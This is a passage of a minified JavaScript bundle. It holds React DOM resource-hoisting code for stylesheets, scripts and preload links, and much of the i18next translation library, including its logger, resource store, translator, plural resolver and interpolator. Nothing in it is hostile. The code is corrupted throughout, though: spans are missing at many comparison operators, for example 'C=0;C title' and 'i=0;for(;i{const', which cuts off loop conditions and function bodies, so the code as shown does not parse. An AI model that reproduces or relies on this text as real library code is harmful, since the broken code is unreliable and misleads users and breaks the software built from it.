s=ul;if(s&&a){var d=o&&typeof o.as=="string"?o.as:"script",g='link[rel="modulepreload"][as="'+Yn(d)+'"][href="'+Yn(a)+'"]',b=g;switch(d){case"audioworklet":case"paintworklet":case"serviceworker":case"sharedworker":case"worker":case"script":b=dl(a)}if(!tr.has(b)&&(a=m({rel:"modulepreload",href:a},o),tr.set(b,a),s.querySelector(g)===null)){switch(d){case"audioworklet":case"paintworklet":case"serviceworker":case"sharedworker":case"worker":case"script":if(s.querySelector(Ws(b)))return}d=s.createElement("link"),Zt(d,"link",a),$t(d),s.head.appendChild(d)}}}function u$(a,o,s){da.S(a,o,s);var d=ul;if(d&&a){var g=Ro(d).hoistableStyles,b=fl(a);o=o||"default";var C=g.get(b);if(!C){var N={loading:0,preload:null};if(C=d.querySelector(Gs(b)))N.loading=5;else{a=m({rel:"stylesheet",href:a,"data-precedence":o},s),(s=tr.get(b))&&Zv(a,s);var k=C=d.createElement("link");$t(k),Zt(k,"link",a),k._p=new Promise(function(Y,te){k.onload=Y,k.onerror=te}),k.addEventListener("load",function(){N.loading|=1}),k.addEventListener("error",function(){N.loading|=2}),N.loading|=4,Ef(C,o,d)}C={type:"stylesheet",instance:C,count:1,state:N},g.set(b,C)}}}function f$(a,o){da.X(a,o);var s=ul;if(s&&a){var d=Ro(s).hoistableScripts,g=dl(a),b=d.get(g);b||(b=s.querySelector(Ws(g)),b||(a=m({src:a,async:!0},o),(o=tr.get(g))&&Qv(a,o),b=s.createElement("script"),$t(b),Zt(b,"link",a),s.head.appendChild(b)),b={type:"script",instance:b,count:1,state:null},d.set(g,b))}}function d$(a,o){da.M(a,o);var s=ul;if(s&&a){var d=Ro(s).hoistableScripts,g=dl(a),b=d.get(g);b||(b=s.querySelector(Ws(g)),b||(a=m({src:a,async:!0,type:"module"},o),(o=tr.get(g))&&Qv(a,o),b=s.createElement("script"),$t(b),Zt(b,"link",a),s.head.appendChild(b)),b={type:"script",instance:b,count:1,state:null},d.set(g,b))}}function FE(a,o,s,d){var g=(g=xe.current)?Of(g):null;if(!g)throw Error(r(446));switch(a){case"meta":case"title":return null;case"style":return typeof s.precedence=="string"&&typeof s.href=="string"?(o=fl(s.href),s=Ro(g).hoistableStyles,d=s.get(o),d||(d={type:"style",instance:null,count:0,state:null},s.set(o,d)),d):{type:"void",instance:null,count:0,state:null};case"link":if(s.rel==="stylesheet"&&typeof s.href=="string"&&typeof s.precedence=="string"){a=fl(s.href);var b=Ro(g).hoistableStyles,C=b.get(a);if(C||(g=g.ownerDocument||g,C={type:"stylesheet",instance:null,count:0,state:{loading:0,preload:null}},b.set(a,C),(b=g.querySelector(Gs(a)))&&!b._p&&(C.instance=b,C.state.loading=5),tr.has(a)||(s={rel:"preload",as:"style",href:s.href,crossOrigin:s.crossOrigin,integrity:s.integrity,media:s.media,hrefLang:s.hrefLang,referrerPolicy:s.referrerPolicy},tr.set(a,s),b||h$(g,a,s,C.state))),o&&d===null)throw Error(r(528,""));return C}if(o&&d!==null)throw Error(r(529,""));return null;case"script":return o=s.async,s=s.src,typeof s=="string"&&o&&typeof o!="function"&&typeof o!="symbol"?(o=dl(s),s=Ro(g).hoistableScripts,d=s.get(o),d||(d={type:"script",instance:null,count:0,state:null},s.set(o,d)),d):{type:"void",instance:null,count:0,state:null};default:throw Error(r(444,a))}}function fl(a){return'href="'+Yn(a)+'"'}function Gs(a){return'link[rel="stylesheet"]['+a+"]"}function VE(a){return m({},a,{"data-precedence":a.precedence,precedence:null})}function h$(a,o,s,d){a.querySelector('link[rel="preload"][as="style"]['+o+"]")?d.loading=1:(o=a.createElement("link"),d.preload=o,o.addEventListener("load",function(){return d.loading|=1}),o.addEventListener("error",function(){return d.loading|=2}),Zt(o,"link",s),$t(o),a.head.appendChild(o))}function dl(a){return'[src="'+Yn(a)+'"]'}function Ws(a){return"script[async]"+a}function KE(a,o,s){if(o.count++,o.instance===null)switch(o.type){case"style":var d=a.querySelector('style[data-href~="'+Yn(s.href)+'"]');if(d)return o.instance=d,$t(d),d;var g=m({},s,{"data-href":s.href,"data-precedence":s.precedence,href:null,precedence:null});return d=(a.ownerDocument||a).createElement("style"),$t(d),Zt(d,"style",g),Ef(d,s.precedence,a),o.instance=d;case"stylesheet":g=fl(s.href);var b=a.querySelector(Gs(g));if(b)return o.state.loading|=4,o.instance=b,$t(b),b;d=VE(s),(g=tr.get(g))&&Zv(d,g),b=(a.ownerDocument||a).createElement("link"),$t(b);var C=b;return C._p=new Promise(function(N,k){C.onload=N,C.onerror=k}),Zt(b,"link",d),o.state.loading|=4,Ef(b,s.precedence,a),o.instance=b;case"script":return b=dl(s.src),(g=a.querySelector(Ws(b)))?(o.instance=g,$t(g),g):(d=s,(g=tr.get(b))&&(d=m({},s),Qv(d,g)),a=a.ownerDocument||a,g=a.createElement("script"),$t(g),Zt(g,"link",d),a.head.appendChild(g),o.instance=g);case"void":return null;default:throw Error(r(443,o.type))}else o.type==="stylesheet"&&(o.state.loading&4)===0&&(d=o.instance,o.state.loading|=4,Ef(d,s.precedence,a));return o.instance}function Ef(a,o,s){for(var d=s.querySelectorAll('link[rel="stylesheet"][data-precedence],style[data-precedence]'),g=d.length?d[d.length-1]:null,b=g,C=0;C title"):null)}function p$(a,o,s){if(s===1||o.itemProp!=null)return!1;switch(a){case"meta":case"title":return!0;case"style":if(typeof o.precedence!="string"||typeof o.href!="string"||o.href==="")break;return!0;case"link":if(typeof o.rel!="string"||typeof o.href!="string"||o.href===""||o.onLoad||o.onError)break;return o.rel==="stylesheet"?(a=o.disabled,typeof o.precedence=="string"&&a==null):!0;case"script":if(o.async&&typeof o.async!="function"&&typeof o.async!="symbol"&&!o.onLoad&&!o.onError&&o.src&&typeof o.src=="string")return!0}return!1}function WE(a){return!(a.type==="stylesheet"&&(a.state.loading&3)===0)}function m$(a,o,s,d){if(s.type==="stylesheet"&&(typeof d.media!="string"||matchMedia(d.media).matches!==!1)&&(s.state.loading&4)===0){if(s.instance===null){var g=fl(d.href),b=o.querySelector(Gs(g));if(b){o=b._p,o!==null&&typeof o=="object"&&typeof o.then=="function"&&(a.count++,a=Cf.bind(a),o.then(a,a)),s.state.loading|=4,s.instance=b,$t(b);return}b=o.ownerDocument||o,d=VE(d),(g=tr.get(g))&&Zv(d,g),b=b.createElement("link"),$t(b);var C=b;C._p=new Promise(function(N,k){C.onload=N,C.onerror=k}),Zt(b,"link",d),s.instance=b}a.stylesheets===null&&(a.stylesheets=new Map),a.stylesheets.set(s,o),(o=s.state.preload)&&(s.state.loading&3)===0&&(a.count++,s=Cf.bind(a),o.addEventListener("load",s),o.addEventListener("error",s))}}var Jv=0;function v$(a,o){return a.stylesheets&&a.count===0&&Tf(a,a.stylesheets),0Jv?50:800)+o);return a.unsuspend=s,function(){a.unsuspend=null,clearTimeout(d),clearTimeout(g)}}:null}function Cf(){if(this.count--,this.count===0&&(this.imgCount===0||!this.waitingForImages)){if(this.stylesheets)Tf(this,this.stylesheets);else if(this.unsuspend){var a=this.unsuspend;this.unsuspend=null,a()}}}var _f=null;function Tf(a,o){a.stylesheets=null,a.unsuspend!==null&&(a.count++,_f=new Map,o.forEach(g$,a),_f=null,Cf.call(a))}function g$(a,o){if(!(o.state.loading&4)){var s=_f.get(a);if(s)var d=s.get(null);else{s=new Map,_f.set(a,s);for(var g=a.querySelectorAll("link[data-precedence],style[data-precedence]"),b=0;b"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(e)}catch(t){console.error(t)}}return e(),sg.exports=R$(),sg.exports}var k$=D$();const Te=e=>typeof e=="string",nc=()=>{let e,t;const n=new Promise((r,i)=>{e=r,t=i});return n.resolve=e,n.reject=t,n},bA=e=>e==null?"":""+e,L$=(e,t,n)=>{e.forEach(r=>{t[r]&&(n[r]=t[r])})},I$=/###/g,xA=e=>e&&e.indexOf("###")>-1?e.replace(I$,"."):e,wA=e=>!e||Te(e),gc=(e,t,n)=>{const r=Te(t)?t.split("."):t;let i=0;for(;i{const{obj:r,k:i}=gc(e,t,Object);if(r!==void 0||t.length===1){r[i]=n;return}let l=t[t.length-1],c=t.slice(0,t.length-1),u=gc(e,c,Object);for(;u.obj===void 0&&c.length;)l=`${c[c.length-1]}.${l}`,c=c.slice(0,c.length-1),u=gc(e,c,Object),u?.obj&&typeof u.obj[`${u.k}.${l}`]<"u"&&(u.obj=void 0);u.obj[`${u.k}.${l}`]=n},z$=(e,t,n,r)=>{const{obj:i,k:l}=gc(e,t,Object);i[l]=i[l]||[],i[l].push(n)},gd=(e,t)=>{const{obj:n,k:r}=gc(e,t);if(n&&Object.prototype.hasOwnProperty.call(n,r))return n[r]},$$=(e,t,n)=>{const r=gd(e,n);return r!==void 0?r:gd(t,n)},cM=(e,t,n)=>{for(const r in t)r!=="__proto__"&&r!=="constructor"&&(r in e?Te(e[r])||e[r]instanceof String||Te(t[r])||t[r]instanceof String?n&&(e[r]=t[r]):cM(e[r],t[r],n):e[r]=t[r]);return e},pl=e=>e.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&");var B$={"&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};const U$=e=>Te(e)?e.replace(/[&<>"'\/]/g,t=>B$[t]):e;class H${constructor(t){this.capacity=t,this.regExpMap=new Map,this.regExpQueue=[]}getRegExp(t){const n=this.regExpMap.get(t);if(n!==void 0)return n;const r=new RegExp(t);return this.regExpQueue.length===this.capacity&&this.regExpMap.delete(this.regExpQueue.shift()),this.regExpMap.set(t,r),this.regExpQueue.push(t),r}}const q$=[" ",",","?","!",";"],F$=new H$(20),V$=(e,t,n)=>{t=t||"",n=n||"";const r=q$.filter(c=>t.indexOf(c)<0&&n.indexOf(c)<0);if(r.length===0)return!0;const i=F$.getRegExp(`(${r.map(c=>c==="?"?"\\?":c).join("|")})`);let l=!i.test(e);if(!l){const c=e.indexOf(n);c>0&&!i.test(e.substring(0,c))&&(l=!0)}return l},a0=(e,t,n=".")=>{if(!e)return;if(e[t])return Object.prototype.hasOwnProperty.call(e,t)?e[t]:void 0;const r=t.split(n);let i=e;for(let l=0;l-1&&fe?.replace("_","-"),K$={type:"logger",log(e){this.output("log",e)},warn(e){this.output("warn",e)},error(e){this.output("error",e)},output(e,t){console?.[e]?.apply?.(console,t)}};class yd{constructor(t,n={}){this.init(t,n)}init(t,n={}){this.prefix=n.prefix||"i18next:",this.logger=t||K$,this.options=n,this.debug=n.debug}log(...t){return this.forward(t,"log","",!0)}warn(...t){return this.forward(t,"warn","",!0)}error(...t){return this.forward(t,"error","")}deprecate(...t){return this.forward(t,"warn","WARNING DEPRECATED: ",!0)}forward(t,n,r,i){return i&&!this.debug?null:(Te(t[0])&&(t[0]=`${r}${this.prefix} ${t[0]}`),this.logger[n](t))}create(t){return new yd(this.logger,{prefix:`${this.prefix}:${t}:`,...this.options})}clone(t){return t=t||this.options,t.prefix=t.prefix||this.prefix,new yd(this.logger,t)}}var kr=new yd;let Ah=class{constructor(){this.observers={}}on(t,n){return t.split(" ").forEach(r=>{this.observers[r]||(this.observers[r]=new Map);const i=this.observers[r].get(n)||0;this.observers[r].set(n,i+1)}),this}off(t,n){if(this.observers[t]){if(!n){delete this.observers[t];return}this.observers[t].delete(n)}}emit(t,...n){this.observers[t]&&Array.from(this.observers[t].entries()).forEach(([i,l])=>{for(let c=0;c{for(let c=0;c-1&&this.options.ns.splice(n,1)}getResource(t,n,r,i={}){const l=i.keySeparator!==void 0?i.keySeparator:this.options.keySeparator,c=i.ignoreJSONStructure!==void 0?i.ignoreJSONStructure:this.options.ignoreJSONStructure;let u;t.indexOf(".")>-1?u=t.split("."):(u=[t,n],r&&(Array.isArray(r)?u.push(...r):Te(r)&&l?u.push(...r.split(l)):u.push(r)));const f=gd(this.data,u);return!f&&!n&&!r&&t.indexOf(".")>-1&&(t=u[0],n=u[1],r=u.slice(2).join(".")),f||!c||!Te(r)?f:a0(this.data?.[t]?.[n],r,l)}addResource(t,n,r,i,l={silent:!1}){const c=l.keySeparator!==void 0?l.keySeparator:this.options.keySeparator;let u=[t,n];r&&(u=u.concat(c?r.split(c):r)),t.indexOf(".")>-1&&(u=t.split("."),i=n,n=u[1]),this.addNamespaces(n),SA(this.data,u,i),l.silent||this.emit("added",t,n,r,i)}addResources(t,n,r,i={silent:!1}){for(const l in r)(Te(r[l])||Array.isArray(r[l]))&&this.addResource(t,n,l,r[l],{silent:!0});i.silent||this.emit("added",t,n,r)}addResourceBundle(t,n,r,i,l,c={silent:!1,skipCopy:!1}){let u=[t,n];t.indexOf(".")>-1&&(u=t.split("."),i=r,r=n,n=u[1]),this.addNamespaces(n);let f=gd(this.data,u)||{};c.skipCopy||(r=JSON.parse(JSON.stringify(r))),i?cM(f,r,l):f={...f,...r},SA(this.data,u,f),c.silent||this.emit("added",t,n,r)}removeResourceBundle(t,n){this.hasResourceBundle(t,n)&&delete this.data[t][n],this.removeNamespaces(n),this.emit("removed",t,n)}hasResourceBundle(t,n){return this.getResource(t,n)!==void 0}getResourceBundle(t,n){return n||(n=this.options.defaultNS),this.getResource(t,n)}getDataByLanguage(t){return this.data[t]}hasLanguageSomeTranslations(t){const n=this.getDataByLanguage(t);return!!(n&&Object.keys(n)||[]).find(i=>n[i]&&Object.keys(n[i]).length>0)}toJSON(){return this.data}}var uM={processors:{},addPostProcessor(e){this.processors[e.name]=e},handle(e,t,n,r,i){return e.forEach(l=>{t=this.processors[l]?.process(t,n,r,i)??t}),t}};const fM=Symbol("i18next/PATH_KEY");function Y$(){const e=[],t=Object.create(null);let n;return t.get=(r,i)=>(n?.revoke?.(),i===fM?e:(e.push(i),n=Proxy.revocable(r,t),n.proxy)),Proxy.revocable(Object.create(null),t).proxy}function i0(e,t){const{[fM]:n}=e(Y$());return n.join(t?.keySeparator??".")}const EA={},dg=e=>!Te(e)&&typeof e!="boolean"&&typeof e!="number";class bd extends Ah{constructor(t,n={}){super(),L$(["resourceStore","languageUtils","pluralResolver","interpolator","backendConnector","i18nFormat","utils"],t,this),this.options=n,this.options.keySeparator===void 0&&(this.options.keySeparator="."),this.logger=kr.create("translator")}changeLanguage(t){t&&(this.language=t)}exists(t,n={interpolation:{}}){const r={...n};if(t==null)return!1;const i=this.resolve(t,r);if(i?.res===void 0)return!1;const l=dg(i.res);return!(r.returnObjects===!1&&l)}extractFromKey(t,n){let r=n.nsSeparator!==void 0?n.nsSeparator:this.options.nsSeparator;r===void 0&&(r=":");const i=n.keySeparator!==void 0?n.keySeparator:this.options.keySeparator;let l=n.ns||this.options.defaultNS||[];const c=r&&t.indexOf(r)>-1,u=!this.options.userDefinedKeySeparator&&!n.keySeparator&&!this.options.userDefinedNsSeparator&&!n.nsSeparator&&!V$(t,r,i);if(c&&!u){const f=t.match(this.interpolator.nestingRegexp);if(f&&f.length>0)return{key:t,namespaces:Te(l)?[l]:l};const h=t.split(r);(r!==i||r===i&&this.options.ns.indexOf(h[0])>-1)&&(l=h.shift()),t=h.join(i)}return{key:t,namespaces:Te(l)?[l]:l}}translate(t,n,r){let i=typeof n=="object"?{...n}:n;if(typeof i!="object"&&this.options.overloadTranslationOptionHandler&&(i=this.options.overloadTranslationOptionHandler(arguments)),typeof i=="object"&&(i={...i}),i||(i={}),t==null)return"";typeof t=="function"&&(t=i0(t,{...this.options,...i})),Array.isArray(t)||(t=[String(t)]);const l=i.returnDetails!==void 0?i.returnDetails:this.options.returnDetails,c=i.keySeparator!==void 0?i.keySeparator:this.options.keySeparator,{key:u,namespaces:f}=this.extractFromKey(t[t.length-1],i),h=f[f.length-1];let p=i.nsSeparator!==void 0?i.nsSeparator:this.options.nsSeparator;p===void 0&&(p=":");const m=i.lng||this.language,y=i.appendNamespaceToCIMode||this.options.appendNamespaceToCIMode;if(m?.toLowerCase()==="cimode")return y?l?{res:`${h}${p}${u}`,usedKey:u,exactUsedKey:u,usedLng:m,usedNS:h,usedParams:this.getUsedParamsDetails(i)}:`${h}${p}${u}`:l?{res:u,usedKey:u,exactUsedKey:u,usedLng:m,usedNS:h,usedParams:this.getUsedParamsDetails(i)}:u;const x=this.resolve(t,i);let S=x?.res;const w=x?.usedKey||u,O=x?.exactUsedKey||u,A=["[object Number]","[object Function]","[object RegExp]"],_=i.joinArrays!==void 0?i.joinArrays:this.options.joinArrays,T=!this.i18nFormat||this.i18nFormat.handleAsObject,j=i.count!==void 0&&!Te(i.count),M=bd.hasDefaultValue(i),P=j?this.pluralResolver.getSuffix(m,i.count,i):"",R=i.ordinal&&j?this.pluralResolver.getSuffix(m,i.count,{ordinal:!1}):"",I=j&&!i.ordinal&&i.count===0,B=I&&i[`defaultValue${this.options.pluralSeparator}zero`]||i[`defaultValue${P}`]||i[`defaultValue${R}`]||i.defaultValue;let q=S;T&&!S&&M&&(q=B);const U=dg(q),V=Object.prototype.toString.apply(q);if(T&&q&&U&&A.indexOf(V)<0&&!(Te(_)&&Array.isArray(q))){if(!i.returnObjects&&!this.options.returnObjects){this.options.returnedObjectHandler||this.logger.warn("accessing an object - but returnObjects options is not enabled!");const oe=this.options.returnedObjectHandler?this.options.returnedObjectHandler(w,q,{...i,ns:f}):`key '${u} (${this.language})' returned an object instead of string.`;return l?(x.res=oe,x.usedParams=this.getUsedParamsDetails(i),x):oe}if(c){const oe=Array.isArray(q),le=oe?[]:{},ce=oe?O:w;for(const L in q)if(Object.prototype.hasOwnProperty.call(q,L)){const F=`${ce}${c}${L}`;M&&!S?le[L]=this.translate(F,{...i,defaultValue:dg(B)?B[L]:void 0,joinArrays:!1,ns:f}):le[L]=this.translate(F,{...i,joinArrays:!1,ns:f}),le[L]===F&&(le[L]=q[L])}S=le}}else if(T&&Te(_)&&Array.isArray(S))S=S.join(_),S&&(S=this.extendTranslation(S,t,i,r));else{let oe=!1,le=!1;!this.isValidLookup(S)&&M&&(oe=!0,S=B),this.isValidLookup(S)||(le=!0,S=u);const L=(i.missingKeyNoValueFallbackToKey||this.options.missingKeyNoValueFallbackToKey)&&le?void 0:S,F=M&&B!==S&&this.options.updateMissing;if(le||oe||F){if(this.logger.log(F?"updateKey":"missingKey",m,h,u,F?B:S),c){const D=this.resolve(u,{...i,keySeparator:!1});D&&D.res&&this.logger.warn("Seems the loaded translations were in flat JSON format instead of nested. Either set keySeparator: false on init or make sure your translations are published in nested format.")}let $=[];const Z=this.languageUtils.getFallbackCodes(this.options.fallbackLng,i.lng||this.language);if(this.options.saveMissingTo==="fallback"&&Z&&Z[0])for(let D=0;D{const se=M&&ae!==S?ae:L;this.options.missingKeyHandler?this.options.missingKeyHandler(D,h,X,se,F,i):this.backendConnector?.saveMissing&&this.backendConnector.saveMissing(D,h,X,se,F,i),this.emit("missingKey",D,h,X,S)};this.options.saveMissing&&(this.options.saveMissingPlurals&&j?$.forEach(D=>{const X=this.pluralResolver.getSuffixes(D,i);I&&i[`defaultValue${this.options.pluralSeparator}zero`]&&X.indexOf(`${this.options.pluralSeparator}zero`)<0&&X.push(`${this.options.pluralSeparator}zero`),X.forEach(ae=>{de([D],u+ae,i[`defaultValue${ae}`]||B)})}):de($,u,B))}S=this.extendTranslation(S,t,i,x,r),le&&S===u&&this.options.appendNamespaceToMissingKey&&(S=`${h}${p}${u}`),(le||oe)&&this.options.parseMissingKeyHandler&&(S=this.options.parseMissingKeyHandler(this.options.appendNamespaceToMissingKey?`${h}${p}${u}`:u,oe?S:void 0,i))}return l?(x.res=S,x.usedParams=this.getUsedParamsDetails(i),x):S}extendTranslation(t,n,r,i,l){if(this.i18nFormat?.parse)t=this.i18nFormat.parse(t,{...this.options.interpolation.defaultVariables,...r},r.lng||this.language||i.usedLng,i.usedNS,i.usedKey,{resolved:i});else if(!r.skipInterpolation){r.interpolation&&this.interpolator.init({...r,interpolation:{...this.options.interpolation,...r.interpolation}});const f=Te(t)&&(r?.interpolation?.skipOnVariables!==void 0?r.interpolation.skipOnVariables:this.options.interpolation.skipOnVariables);let h;if(f){const m=t.match(this.interpolator.nestingRegexp);h=m&&m.length}let p=r.replace&&!Te(r.replace)?r.replace:r;if(this.options.interpolation.defaultVariables&&(p={...this.options.interpolation.defaultVariables,...p}),t=this.interpolator.interpolate(t,p,r.lng||this.language||i.usedLng,r),f){const m=t.match(this.interpolator.nestingRegexp),y=m&&m.length;hl?.[0]===m[0]&&!r.context?(this.logger.warn(`It seems you are nesting recursively key: ${m[0]} in key: ${n[0]}`),null):this.translate(...m,n),r)),r.interpolation&&this.interpolator.reset()}const c=r.postProcess||this.options.postProcess,u=Te(c)?[c]:c;return t!=null&&u?.length&&r.applyPostProcessor!==!1&&(t=uM.handle(u,t,n,this.options&&this.options.postProcessPassResolved?{i18nResolved:{...i,usedParams:this.getUsedParamsDetails(r)},...r}:r,this)),t}resolve(t,n={}){let r,i,l,c,u;return Te(t)&&(t=[t]),t.forEach(f=>{if(this.isValidLookup(r))return;const h=this.extractFromKey(f,n),p=h.key;i=p;let m=h.namespaces;this.options.fallbackNS&&(m=m.concat(this.options.fallbackNS));const y=n.count!==void 0&&!Te(n.count),x=y&&!n.ordinal&&n.count===0,S=n.context!==void 0&&(Te(n.context)||typeof n.context=="number")&&n.context!=="",w=n.lngs?n.lngs:this.languageUtils.toResolveHierarchy(n.lng||this.language,n.fallbackLng);m.forEach(O=>{this.isValidLookup(r)||(u=O,!EA[`${w[0]}-${O}`]&&this.utils?.hasLoadedNamespace&&!this.utils?.hasLoadedNamespace(u)&&(EA[`${w[0]}-${O}`]=!0,this.logger.warn(`key "${i}" for languages "${w.join(", ")}" won't get resolved as namespace "${u}" was not yet loaded`,"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.changeLanguage was done. Wait for the callback or Promise to resolve before accessing it!!!")),w.forEach(A=>{if(this.isValidLookup(r))return;c=A;const _=[p];if(this.i18nFormat?.addLookupKeys)this.i18nFormat.addLookupKeys(_,p,A,O,n);else{let j;y&&(j=this.pluralResolver.getSuffix(A,n.count,n));const M=`${this.options.pluralSeparator}zero`,P=`${this.options.pluralSeparator}ordinal${this.options.pluralSeparator}`;if(y&&(n.ordinal&&j.indexOf(P)===0&&_.push(p+j.replace(P,this.options.pluralSeparator)),_.push(p+j),x&&_.push(p+M)),S){const R=`${p}${this.options.contextSeparator||"_"}${n.context}`;_.push(R),y&&(n.ordinal&&j.indexOf(P)===0&&_.push(R+j.replace(P,this.options.pluralSeparator)),_.push(R+j),x&&_.push(R+M))}}let T;for(;T=_.pop();)this.isValidLookup(r)||(l=T,r=this.getResource(A,O,T,n))}))})}),{res:r,usedKey:i,exactUsedKey:l,usedLng:c,usedNS:u}}isValidLookup(t){return t!==void 0&&!(!this.options.returnNull&&t===null)&&!(!this.options.returnEmptyString&&t==="")}getResource(t,n,r,i={}){return this.i18nFormat?.getResource?this.i18nFormat.getResource(t,n,r,i):this.resourceStore.getResource(t,n,r,i)}getUsedParamsDetails(t={}){const n=["defaultValue","ordinal","context","replace","lng","lngs","fallbackLng","ns","keySeparator","nsSeparator","returnObjects","returnDetails","joinArrays","postProcess","interpolation"],r=t.replace&&!Te(t.replace);let i=r?t.replace:t;if(r&&typeof t.count<"u"&&(i.count=t.count),this.options.interpolation.defaultVariables&&(i={...this.options.interpolation.defaultVariables,...i}),!r){i={...i};for(const l of n)delete i[l]}return i}static hasDefaultValue(t){const n="defaultValue";for(const r in t)if(Object.prototype.hasOwnProperty.call(t,r)&&n===r.substring(0,n.length)&&t[r]!==void 0)return!0;return!1}}class AA{constructor(t){this.options=t,this.supportedLngs=this.options.supportedLngs||!1,this.logger=kr.create("languageUtils")}getScriptPartFromCode(t){if(t=xc(t),!t||t.indexOf("-")<0)return null;const n=t.split("-");return n.length===2||(n.pop(),n[n.length-1].toLowerCase()==="x")?null:this.formatLanguageCode(n.join("-"))}getLanguagePartFromCode(t){if(t=xc(t),!t||t.indexOf("-")<0)return t;const n=t.split("-");return this.formatLanguageCode(n[0])}formatLanguageCode(t){if(Te(t)&&t.indexOf("-")>-1){let n;try{n=Intl.getCanonicalLocales(t)[0]}catch{}return n&&this.options.lowerCaseLng&&(n=n.toLowerCase()),n||(this.options.lowerCaseLng?t.toLowerCase():t)}return this.options.cleanCode||this.options.lowerCaseLng?t.toLowerCase():t}isSupportedCode(t){return(this.options.load==="languageOnly"||this.options.nonExplicitSupportedLngs)&&(t=this.getLanguagePartFromCode(t)),!this.supportedLngs||!this.supportedLngs.length||this.supportedLngs.indexOf(t)>-1}getBestMatchFromCodes(t){if(!t)return null;let n;return t.forEach(r=>{if(n)return;const i=this.formatLanguageCode(r);(!this.options.supportedLngs||this.isSupportedCode(i))&&(n=i)}),!n&&this.options.supportedLngs&&t.forEach(r=>{if(n)return;const i=this.getScriptPartFromCode(r);if(this.isSupportedCode(i))return n=i;const l=this.getLanguagePartFromCode(r);if(this.isSupportedCode(l))return n=l;n=this.options.supportedLngs.find(c=>{if(c===l)return c;if(!(c.indexOf("-")<0&&l.indexOf("-")<0)&&(c.indexOf("-")>0&&l.indexOf("-")<0&&c.substring(0,c.indexOf("-"))===l||c.indexOf(l)===0&&l.length>1))return c})}),n||(n=this.getFallbackCodes(this.options.fallbackLng)[0]),n}getFallbackCodes(t,n){if(!t)return[];if(typeof t=="function"&&(t=t(n)),Te(t)&&(t=[t]),Array.isArray(t))return t;if(!n)return t.default||[];let r=t[n];return r||(r=t[this.getScriptPartFromCode(n)]),r||(r=t[this.formatLanguageCode(n)]),r||(r=t[this.getLanguagePartFromCode(n)]),r||(r=t.default),r||[]}toResolveHierarchy(t,n){const r=this.getFallbackCodes((n===!1?[]:n)||this.options.fallbackLng||[],t),i=[],l=c=>{c&&(this.isSupportedCode(c)?i.push(c):this.logger.warn(`rejecting language code not found in supportedLngs: ${c}`))};return Te(t)&&(t.indexOf("-")>-1||t.indexOf("_")>-1)?(this.options.load!=="languageOnly"&&l(this.formatLanguageCode(t)),this.options.load!=="languageOnly"&&this.options.load!=="currentOnly"&&l(this.getScriptPartFromCode(t)),this.options.load!=="currentOnly"&&l(this.getLanguagePartFromCode(t))):Te(t)&&l(this.formatLanguageCode(t)),r.forEach(c=>{i.indexOf(c)<0&&l(this.formatLanguageCode(c))}),i}}const CA={zero:0,one:1,two:2,few:3,many:4,other:5},_A={select:e=>e===1?"one":"other",resolvedOptions:()=>({pluralCategories:["one","other"]})};class G${constructor(t,n={}){this.languageUtils=t,this.options=n,this.logger=kr.create("pluralResolver"),this.pluralRulesCache={}}addRule(t,n){this.rules[t]=n}clearCache(){this.pluralRulesCache={}}getRule(t,n={}){const r=xc(t==="dev"?"en":t),i=n.ordinal?"ordinal":"cardinal",l=JSON.stringify({cleanedCode:r,type:i});if(l in this.pluralRulesCache)return this.pluralRulesCache[l];let c;try{c=new Intl.PluralRules(r,{type:i})}catch{if(!Intl)return this.logger.error("No Intl support, please use an Intl polyfill!"),_A;if(!t.match(/-|_/))return _A;const f=this.languageUtils.getLanguagePartFromCode(t);c=this.getRule(f,n)}return this.pluralRulesCache[l]=c,c}needsPlural(t,n={}){let r=this.getRule(t,n);return r||(r=this.getRule("dev",n)),r?.resolvedOptions().pluralCategories.length>1}getPluralFormsOfKey(t,n,r={}){return this.getSuffixes(t,r).map(i=>`${n}${i}`)}getSuffixes(t,n={}){let r=this.getRule(t,n);return r||(r=this.getRule("dev",n)),r?r.resolvedOptions().pluralCategories.sort((i,l)=>CA[i]-CA[l]).map(i=>`${this.options.prepend}${n.ordinal?`ordinal${this.options.prepend}`:""}${i}`):[]}getSuffix(t,n,r={}){const i=this.getRule(t,r);return i?`${this.options.prepend}${r.ordinal?`ordinal${this.options.prepend}`:""}${i.select(n)}`:(this.logger.warn(`no plural rule found for: ${t}`),this.getSuffix("dev",n,r))}}const TA=(e,t,n,r=".",i=!0)=>{let l=$$(e,t,n);return!l&&i&&Te(n)&&(l=a0(e,n,r),l===void 0&&(l=a0(t,n,r))),l},hg=e=>e.replace(/\$/g,"$$$$");class NA{constructor(t={}){this.logger=kr.create("interpolator"),this.options=t,this.format=t?.interpolation?.format||(n=>n),this.init(t)}init(t={}){t.interpolation||(t.interpolation={escapeValue:!0});const{escape:n,escapeValue:r,useRawValueToEscape:i,prefix:l,prefixEscaped:c,suffix:u,suffixEscaped:f,formatSeparator:h,unescapeSuffix:p,unescapePrefix:m,nestingPrefix:y,nestingPrefixEscaped:x,nestingSuffix:S,nestingSuffixEscaped:w,nestingOptionsSeparator:O,maxReplaces:A,alwaysFormat:_}=t.interpolation;this.escape=n!==void 0?n:U$,this.escapeValue=r!==void 0?r:!0,this.useRawValueToEscape=i!==void 0?i:!1,this.prefix=l?pl(l):c||"{{",this.suffix=u?pl(u):f||"}}",this.formatSeparator=h||",",this.unescapePrefix=p?"":m||"-",this.unescapeSuffix=this.unescapePrefix?"":p||"",this.nestingPrefix=y?pl(y):x||pl("$t("),this.nestingSuffix=S?pl(S):w||pl(")"),this.nestingOptionsSeparator=O||",",this.maxReplaces=A||1e3,this.alwaysFormat=_!==void 0?_:!1,this.resetRegExp()}reset(){this.options&&this.init(this.options)}resetRegExp(){const t=(n,r)=>n?.source===r?(n.lastIndex=0,n):new RegExp(r,"g");this.regexp=t(this.regexp,`${this.prefix}(.+?)${this.suffix}`),this.regexpUnescape=t(this.regexpUnescape,`${this.prefix}${this.unescapePrefix}(.+?)${this.unescapeSuffix}${this.suffix}`),this.nestingRegexp=t(this.nestingRegexp,`${this.nestingPrefix}((?:[^()"']+|"[^"]*"|'[^']*'|\\((?:[^()]|"[^"]*"|'[^']*')*\\))*?)${this.nestingSuffix}`)}interpolate(t,n,r,i){let l,c,u;const 